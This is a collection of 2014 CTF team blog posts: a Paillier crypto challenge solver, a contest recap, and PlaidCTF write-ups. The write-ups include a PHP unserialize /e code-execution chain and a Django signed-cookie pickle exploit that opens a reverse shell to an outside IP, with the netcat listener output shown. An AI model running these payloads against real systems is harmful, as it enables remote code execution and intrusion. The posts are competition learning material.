Tuesday, October 14, 2014

ASIS CTF Finals 2014 - Ultra Secure (Crypto 400)

 


The server welcomed us with the following message:
Here we use a well-known cryptosystem, which introduced in late 90s as a part of PhD Thesis. This cryptosystem is a probabilistic asymmetric algorithm, so computer nerds are familiar with the basics. The power of this cryptosystem is based on the fact that no efficient general method for computing discrete logarithms on conventional computers is known. In real world it could be used in a situation where there is a need for anonymity and a mechanism to validate, like election.

What's the name of this cryptosystem?
The answer is "Paillier" (https://en.wikipedia.org/wiki/Paillier_cryptosystem). It's a public-key cryptosystem, which has an interesting property - it's homomorphic. I'll explain this term in a moment, after we see what we need to solve the challenge.

After solving the riddle, the server sends a secret (same value for every connection):
The secret is: 45710623737087701711820134797542238364727935815041561117965550719730211404995880962189849763186419941404256428269541230638298594081804054803929405338706331501510355769791788035782101048794197150178174026969607210826909631760346060869225182396182048777369368142016863385200586265163953840808342248328628488558966204179925698305553258440383522033840372138701862745580428470631799476191017336213672662419943702985732053645939959855799510630518494500337262650866518227631714070805564029135334485129969768206948775297659476280347999959347004640627153560223776086816027050734375066512946795924861244218488564290260122095
Afterwards, it asks in a loop:
Tell us your choise:
------------------------
[E]ncrypt: [D]ecrypt:
We are able to encrypt and decrypt arbitrary messages (numbers). It is clear that the encryption scheme uses the Paillier cryptosystem, but we don't know the keys (neither private nor public key).
Let's try to decrypt the secret:
[E]ncrypt: [D]ecrypt: D
Tell us your secret to decrypt: 45710623737087701711820134797542238364727935815041561117965550719730211404995880962189849763186419941404256428269541230638298594081804054803929405338706331501510355769791788035782101048794197150178174026969607210826909631760346060869225182396182048777369368142016863385200586265163953840808342248328628488558966204179925698305553258440383522033840372138701862745580428470631799476191017336213672662419943702985732053645939959855799510630518494500337262650866518227631714070805564029135334485129969768206948775297659476280347999959347004640627153560223776086816027050734375066512946795924861244218488564290260122095
Don't fool me! X-(
That would be too easy ;) But now we can be sure, that the objective is to decrypt that number with server's private key. It's a time for more information about the cipher. Paillier cryptosystem is homomorphic, which means that we can make some computations on ciphertext (without knowing plaintext nor private key) which will result in predictable changes in plaintext after decryption. One of Paillier properties allows us to add any value to a plaintext:
$$D(E(m_1)*E(m_2)\ mod\ n^2) \equiv m_1+m_2 \pmod{n}$$
where D is the decryption function, E is the encryption function (which is randomized, I hid the random argument for simplicity), n is a number contained in both the private and public key, and m1 and m2 are plaintext messages.

Random interesting note: Unpadded RSA has a homomorphic property too: multiplication of ciphertexts results in multiplication of plaintexts after decryption.

What we want to do is to fool the server into decrypting something which is not the original secret, but we are able to recover it after decryption. The simplest idea is to just add 1 to the secret and ask server to decrypt it:
$$secret = E(secret\_plaintext)\\ D(secret * E(1)\ mod\ n^2) \equiv secret\_plaintext + 1 \pmod{n}$$

To do that, we need to know the modulo n. We will use the property that E() can encrypt only values that are smaller than n. Let's check what we get after querying some really big value to E():
[E]ncrypt: [D]ecrypt: E
Tell us your message to encrypt: 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
Your message is too long! :(

Bingo ;) We can find the modulo using binary search. Now we have everything we need to write a solver. Here's mine:

import socket

host = 'asis-ctf.ir'
port = 12445

# cut_between('smth: 123; adsf; ', 'smth: ', '; ') == '123'
def cut_between(source, before, after):
    pos1 = source.find(before)
    pos2 = source.find(after, pos1 + len(before) + 1)
    assert pos1 != -1
    assert pos2 != -1
    return source[pos1 + len(before) : pos2]

# decrypts or encrypts given input, mode: 'E' or 'D'
def ask(input, mode):
    global conn
    while True:
        try:
            conn.sendall(mode + '\r\n')
            data = conn.recv(1024) # 'Tell us your message to encrypt: '
            conn.sendall('%d\r\n' % input)
            data = ''
            while '[D]ecrypt:' not in data:
                data += conn.recv(1024)
            if 'too long' in data:
                return -1
            if 'None' in data:
                return None
            return int(cut_between(data, 'Your secret is: ', '\n'))
        except IOError:
            print 'Connection failed!'

def E(input):
    return ask(input, 'E')

def D(input):
    return ask(input, 'D')

def find_N():
    # length of N should be similar to the length of the secret
    start = 10**307
    end = 10**311

    assert ask(p, 'E') != -1
    assert ask(k, 'E') == -1

    # binary search
    while start < end:
        mid = (start + end) / 2
        res = ask(mid, 'E')
        if res == None:
            # server sends 'None' for 0 and n-1
            return mid + 1
        if res == -1:
            end = mid
        else:
            start = mid + 1

        print '[%d, %d]' % (start,end)
    return start

if __name__ == '__main__':
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.connect((host, port))
    print conn.recv(1024) # riddle
    print conn.recv(1024) # question
    answer = 'Paillier'
    print answer
    conn.sendall(answer + '\r\n')
    data = conn.recv(1024)
    secret = int(cut_between(data, 'is: ', '\n'))
    data = conn.recv(1024)

    n = find_N()

    secret_plaintext = D((E(1) * secret) % (n**2)) - 1
    # flag: ASIS_85c9febd4c15950ab1f19a6bd7a94f85
    print hex(secret_plaintext)[2:].rstrip('L').decode('hex')

Tuesday, June 10, 2014

Update: Dragon Sector wins the PHDays CTF Finals 2014!

Three weeks ago, the Dragon Sector team represented by j00ru, valis, redford, mak, tkd and q3k took part in the onsite finals of the PHD CTF - a team hacking competition organized during the Positive Hack Days conference held in Moscow on 21th-22th of May, 2014. Since it was the first time for our team to travel to Russia to play an offline CTF, and Positive Technologies together with the Techno Pandas team have always been known for running great events, we were really excited to be part of this year's edition - and even more so given that we really enjoyed the qualification round, which we also won by the way. In this post, we would like to tell you the story of the finals as seen by the members of DS.

Photo by tylerni7 / PPP
Prior to even arriving in Moscow, we received several e-mails outlining the different rules and specifics of the CTF system. As it turned out, the organizers had planned something far beyond a regular Attack-Defense or Jeopardy style competition - a mixture of the two combined with SCADA and ATM hacking, puzzles aligned with the PHD storyline, and game mechanics involving aspects of resource planning. While we don't have a point of reference to compare with previous years, we can definitely say this year's edition was pretty damn epic. The overall logic of the game is well illustrated by the image below. Once we checked in the hotel, we spent a fair part of the evening figuring out the best strategy to use during the game ahead of us.

On the first day of the finals, we came to the conference venue early so that we had enough time to set the infrastructure up and double check everything worked properly. The images of virtual machines were handed off to all ten participating teams at 9:00, and we had until 10:00 to make sure the three services were up and functional. Then, the CTF started.

The three services we found inside the Linux VM were:
  • cardbook: a simple Python bot for the Cheat card game. Unlike regular Attack-Defense tasks, the script was not exploitable and the teams were supposed to score flags by improving the logic implemented in the original code, in order to win flags from the other players.
  • hacker (holynet): a web service written in .NET and ran using Mono, with no source code or other information initially available.
  • mobol: a custom Python service with two vulnerabilities (RCE via unsafe pickle usage and SHA1 length extension attack) explicitly listed out in the source code.
Keeping one's services online and exploiting vulnerabilities in the competitors' boxes would earn each team three kinds of resources (each corresponding to one service), which could then be exchanged for gold (ranking points) or used to open some 16 jeopardy-style tasks. For the most part of the first day, we focused on solving the tasks, as this is generally our area of expertise. The categories we could choose from were forensics, reverse engineering, web, cryptography and pwnables, and the challenges were rated from 1000 to 5000 points based on their difficulty. At the same time, we tried to make sure all of our services were responsive, and also tweaked them in a few simple ways (such as adding code for submitting flags in cardbook). At 18:00 sharp, when Day 1 officially ended, we were at the top of the ranking with service downtime less than 5% and one quest and four jeopardy tasks solved (including a lockpicking one ;-)).

Photo by q3k
When the second day of the contest started at 10:00, we could see that the other teams worked hard on the offline tasks during the night - within an hour after the start, several teams submitted their flags, consequently pushing us down from the first to the fifth place. However, we have quickly caught up with them by solving another four tasks, and also by significantly improving the winning rate of our cardbook bot by implementing several simple heuristics and stealing flags off other teams by exploiting a RCE vulnerability in the holynet service, while patching the flaws in our binary at the same time. The latter was possible thanks to the fact that we found a third-party unpacker which we then subsequently used together with a decompiler to analyze the C# code, spot the bugs and recompile the executable as necessary. Truth be told, we never got around to attacking the SCADA systems or doing the special Qiwi quest, since there was just enough work for each of us in the area of services and tasks.

Things got really intense around 30 minutes before the end of the competition - we were the first team to exchange all of our pending resources for gold, thus gaining more than 15,000 points in a few seconds and instantly taking the first place. Seeing this, all of the other teams started selling their resources too, getting dangerously close to our score. The team that got the closest was int3pids who were only ~300pts away, which is less than the lowest-rated task, with others keeping the distance of a few thousand points. We spent the last minutes making absolutely sure that all of our services and exploits were running, but also fending off DoS attempts launched at the holynet service by another team. There was one scary moment when the BalalaikaCr3w team submitted a flag worth 5000 points just five minutes before the end of the CTF, jumping to third place (previously taken by More Smoked Leet Chicken), just a thousand points away from us. Fortunately, no other teams surprised us with any hoarded flags and a few minutes later we were enjoying a moment of triumph. :)

Photo by tylerni7 / PPP
After the CTF was over, all teams were asked to make room for another competition which would take place in the same area: 2DRUNK2HACK, with the goal of hacking a web application behind a WAF while drinking tequila shots for being detected by the protection system - exactly the type of event you would expect from a Russian conference. Soon after that the closing ceremony started, going through the numerous contests and eventually reaching the CTF results. All participating teams were handed their respective banners, and the top3 teams also won actual prizes.

Our overall experience with the CTF was really positive, both from the organizational side (partial flight reimbursement, transport between the hotel, airport and conference venue, the CTF area) and technical side. There was a lot of things to hack, so each team could choose their favourite way of earning points, the challenges were interesting (and quite difficult, to be honest) and the infrastructure worked properly throughout the finals. A few minor hiccups such as loud music or a task down for a while are certainly not sufficient to efface the excellent impression PHDays made on us. We will definitely see you guys next year!

Friday, May 2, 2014

re300 sources

Because you guys found this keygen-me very hard and interesting (thanks!) during the game we've decided to publish the sources of re300 task which was one of the challenges in the teaser organised by us this year. In fact this crack-me is a bit large (if it's not so visible in compiled version you can check the sources) and the main idea behind was to give you some fun in front of disassembler and debugger and enforce you to catch some patterns and recognise structures which were used without decompiling all of the code. In fact, the original one was a stripped mach-o binary that was found to be a bit too challenging ;) and about 24h before the CTF it appeared that it'll be elf64 binary with the symbols included. For win-reversers: I can promise that next time it will be something for you too! And finally here are the sources.

warning: spoilers below!

So in few words: the big trouble here, without questions, was the RE part - but it could by a bit bypassed by setting the right breakpoints and dumping the code. In fact the very good results could be achieved by disassembling only virtual machine instructions and than use some semi-automatic approach and dump the instruction with its arguments when the breakpoint was hit. Having the code (you can find nice emulator here, good work smola) the next step was to understand that it's not reversible (it is a version of a serpent encryption and decryption) and to brute force it. But bruteforcing 48bit hash could be a little bit slow as for 36h CTF, so the great performance boost could be achieved using birthday attack to crack the password and the token both at the same time. For those interested in practical solution: the sources of keygen.

Sunday, April 27, 2014

PlaidCTF 2014 - kpop and reeekeee

kpop (web200)

We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct --
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  }
  ...
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
  ...
  function __destruct() {
    $this->song->log();
  }

-- _destruct -- 
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger --
class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  }
};
-- logger --
By using the /e switch, we can execute arbitrary code:
-- exploit --
matchPattern=$a;$this->replacement=$b;}
}
class LogFileFormat {
  public $filters,$endl;
  function __construct($a){$this->filters=$a;$this->endl='';}
}
class LogWriter_File {
  protected $filename,$format;
  function __construct($b){$this->filename='';$this->format=$b;}
}
class Logger {
  protected $logwriter; 
  function __construct($a){$this->logwriter=$a;}
}
class Song {
  protected $logger,$name,$group,$url;
  function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}
}
class Lyrics { 
  protected $lyrics,$song;
  function __construct($a){$this->lyrics='';$this->song=$a;}
}
$of = new OutputFilter('/(.*)/e',$payload);
$w = new LogWriter_File(new LogFileFormat($of));
$e = new Lyrics(new Song(new Logger($w)));
echo base64_encode(serialize($e));
-- exploit --
Flag: One_of_our_favorite_songs_is_bubble_pop 
 

reekee (web200)

We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.
-- cut --
    url = request.POST['url']
    text = request.POST['text']
    try:
      if "http://" in url:
        image = urllib2.urlopen(url)
      else:
        image = urllib2.urlopen("http://"+url)
    except:
-- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier); something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in settings.py.
-- settings.py --
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
-- settings.py
The signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp)
--- exploit ---

import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
from lxml import etree
def send_django(key, add, payload,t):
    def base64(s): #taken from django
        import base64
        return base64.urlsafe_b64encode(s).strip(b'=')

    def salted_hmac(salt, value, secret): #taken from django
        key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
        return hmac(key, msg=value, digestmod=hashlib.sha1).digest()

    import time
    import baseconv #taken from django

    timestamp = baseconv.base62.encode(str(int(time.time())))
    data = base64(payload)+":"+timestamp
    mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django
    s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac}
    t.update({'sessionid':s})
    return requests.get(add, cookies=t)

IP = '91.228.198.97'
PORT = 41412
url ='http://54.82.251.203:8000'
r = requests.get(url+'/login')
cook = r.cookies
tok = r.cookies['csrftoken']
print tok
r = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)
print r.text
p = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
r = send_django(SECRET_KEY,url+'/make',p,cook)
print r.text
--- exploit ---
On listener:
$ nc -l -p 41412
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(reekee) gid=1001(reekee) groups=1001(reekee)
$ give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

Thursday, April 24, 2014

PlaidCTF 2014 - solutions to multiple challenges

Two weeks ago, I participated in Plaid CTF with the team, solving several interesting tasks mostly but not solely related to low-level exploitation. Below, I'm sharing the solutions to all challenges I had a chance to play with:
Enjoy!

Monday, April 21, 2014

CONFidence DS Teaser CTF registration is open!

Without further ado: http://ctf.dragonsector.pl/.

The teaser will start on the 26th of April, 9:00 A.M. CEST (GMT+2) - for other timezones click here - and will consist of five tasks (web, re, pwn, crypto, stegano). Please note this is an individual CTF.

The top three players will receive entrance tickets to the CONFidence conference, which will take place on the 27th-28th of May in Cracow, Poland. All other participants will receive discounts for the same conference, starting at 20% up to 50%.

We will also run an offline individual CTF with about 25 tasks at CONFidence - more details will follow soon.

See you on the battlefield!

Sunday, April 20, 2014

Plaid CTF 2014 - Tiffany writeup

Looking at the binary for the first time we can say that this challenge is a 64bit ELF binary that does something related with ptrace. Because Hex-Rays fails with decompiling 64bit code we need to play a bit with a disassembler and find out how does the program work. To solve this crackme I’ve used Bokken (this is quite nice frontend for pyew & radare). After some time spend in front of disassembler and debugger I was able to say that the program has used a bit unconventional way of sending the messages that looked as follow:
  1. Attach to a process
  2. Set the dword at 0x618180 to 0x1 // notify about the message
  3. Set the dword at 0x618184 to destination id // each pid had its unique id
  4. Set the dword at 0x618188 to message type // offset in the procedures table
  5. Fill the space from 0x61818c up to 0x69818c by message arguments
  6. Detach from the process
  7. Send the signal to the process
Each (except parent) process had its own dispatcher of incoming messages that was checking address 0x618180 and when it was set to some not-null value, the corresponding handler of the message was called (based on the message type).

The dispatcher:



So when the message arrived, first it was checked if it was addressed to self node (which id was hold in r13) and if not, it was forwarded to previous from 7 nodes using the same method as described earlier (attach, modify memory, detach, signal). Using this scheme the parent process could send the message to any node having the handler only to its first child which would forward the message to the other node and so forth...


In fact the child process forwards the message to its predecessor and the initial predecessor of the #0 child was the parent node but the parent process changes it by sending the message to #0 asking to set the default forward node to #6 (function with offset 0 in procedures table, let’s use one-based indexing and name it the message of the first type).

Using this message forwarding, the parent process sends many messages of the second type to #0 where each message is addressed for different child:

for (child = 0; child < 8; ++child):
  r14 = [0x618160 + 4*child]
  ptrace_attach([0x618160 + 4*r14])
  ptrace_modify([0x618160 + 4*r14], 0x618180, 1)
  ptrace_modify([0x618160 + 4*r14], 0x618184, r14)
  ptrace_modify([0x618160 + 4*r14], 0x618188, 1)
  r12 = [0x6180c0 + 8*r14]
  r13 = [0x618100 + 4*r14]
  for (i = 0; i < r13; ++i)
    ptrace_modify([0x618160 + 4*r14], 0x61818c + 4*i, [r12 + 4*i])
  ptrace_detach([0x618160 + 4*r14])

From high level perspective the handler of the second messages does quite a simple thing, just stores the memory - argument of procedure - to it’s internal buffer (*0x618140 + 4):

Procedure #2 at 0x401196:
  length = *0x61818c * 0x404
  *0x618140 = malloc(4 + length)
  *0x618140 = (DWORD)*0x61818c
  memcpy(buffer, length, 0x618190)

It takes a moment and after that we are asked to enter the string of our choice:

This may take a while...
.......
Please enter a string: _

When we enter some password, the parent process starts to send the fourth type of messages to its first child:

for each letter in password:
  ptrace_attach(*0x618160) // first child
  ptrace_modify(*0x618160, 0x618180, 1)
  ptrace_modify(*0x618160, 0x618184, 0)
  ptrace_modify(*0x618160, 0x618188, 3)
  ptrace_modify(*0x618160, 0x61818c, [rsp+0x98]) // letter
  ptrace_detach(*0x618160)

but as we can see, the child forwards it to its predecessor:

Procedure #4 at 0x4011f5:
  *0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)]
  if (r14d < 7) // not the last child
  {
    ptrace_attach(*0x61814c) // predecessor
    ptrace_modify(*0x61814c, 0x618180, 1)
    ptrace_modify(*0x61814c, 0x618184, r15) // self id + 1
    ptrace_modify(*0x61814c, 0x618188, *0x618188)
    for (i = 0; i < 0x20000; ++i)
      ptrace_modify(*0x61814c, 0x61818c + 4*i, *(0x61818c + 4*i)
    ptrace_detach(*0x61814c)
  }
  else notify parent about finish

In practise it looks like each child except the last one sends the message to its predecessor addressed to its successor, so the message is forwarded by all of the nodes to finally reach its destination. If you look closer to this procedure it not only forwards the data but also changes the state using the received letter. Finally when all of the letters are sent, the parent submits the last message (third type) that is some kind of a check of a password and looks like this:

Procedure #3 at 0x400db8:
  [rsp+0x98] = getpid()
  [rsp+0x9c] = 1
  for (int i = 0; i < 8; ++i)
    if (i == myId)
    {
      [rsp+0x9c] &= [buffer + 4*(*0x618148 * 0x101)]
    }
    else
    {
      ptrace_attach(*0x61814c);
      ptrace_modify(*0x61814c, 0x618180, 1)
      ptrace_modify(*0x61814c, 0x618184, i)
      ptrace_modify(*0x61814c, 0x618188, 4)
      ptrace_modify(*0x61814c, 0x61818c, [rsp+0x98])
      ptrace_detach(*0x61814c)

      while (*0x618180 == 0) sleep()
      *0x618180 = 0

      [rsp+0x9c] &= *0x61818c
    }

  ptrace_attach(*0x618150)
  ptrace_modify(*0x618150, 0x618180, 1)
  ptrace_modify(*0x618150, 0x618180, 0)
  ptrace_modify(*0x618150, 0x618188, 0)
  ptrace_modify(*0x618150, 0x61818c, [rsp+0x9c])
  ptrace_detach(*0x618150)

So in short: send the message of the fifth type to each node except myself and wait for the answer. In the end send the message to parent informing if each of the nodes verified the password as true.

Procedure #5 at 0x40142c:
  [rsp+98] = [buffer + 4*(*0x618148 * 0x101)]
  ptrace_attach(*0x61818c)
  ptrace_modify(*0x61818c, 0x618180, 1)
  ptrace_modify(*0x61818c, 0x618184, 0)
  ptrace_modify(*0x61818c, 0x618188, 0)
  ptrace_modify(*0x61818c, 0x61818c, [rsp+98])
  ptrace_detach(*0x61818c)

Now having the knowledge how all of this stuff works, we could try to find the string that will be verified by all of child nodes. The value returned by each child is:

[buffer + 4*(*0x618148 * 0x101)]

where *0x618148 is previously generated from password letters:

*0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)]

which looks like some kind of map… and in fact it is sort of map or finite state machine whose states are described by this fragments of memory previously transferred to each of the nodes. Now doing the boring part of analysis this memory chunks and transforming it into finite state machines we are able to discover that each of children checks some part of the password.

Using regular expressions:

#0: ^\{[^}]*\}$
#1: ^.{32}$
#2: _[^_]*_[^_]*_
#3: ^.my
#4: _synchronization
#5: _[^_]*_skills
#6: _[^_]*_[^_]*_suck

All of these parts can be easily merged to the final solution: {my_synchronization_skills_suck} 
That's all, nice one.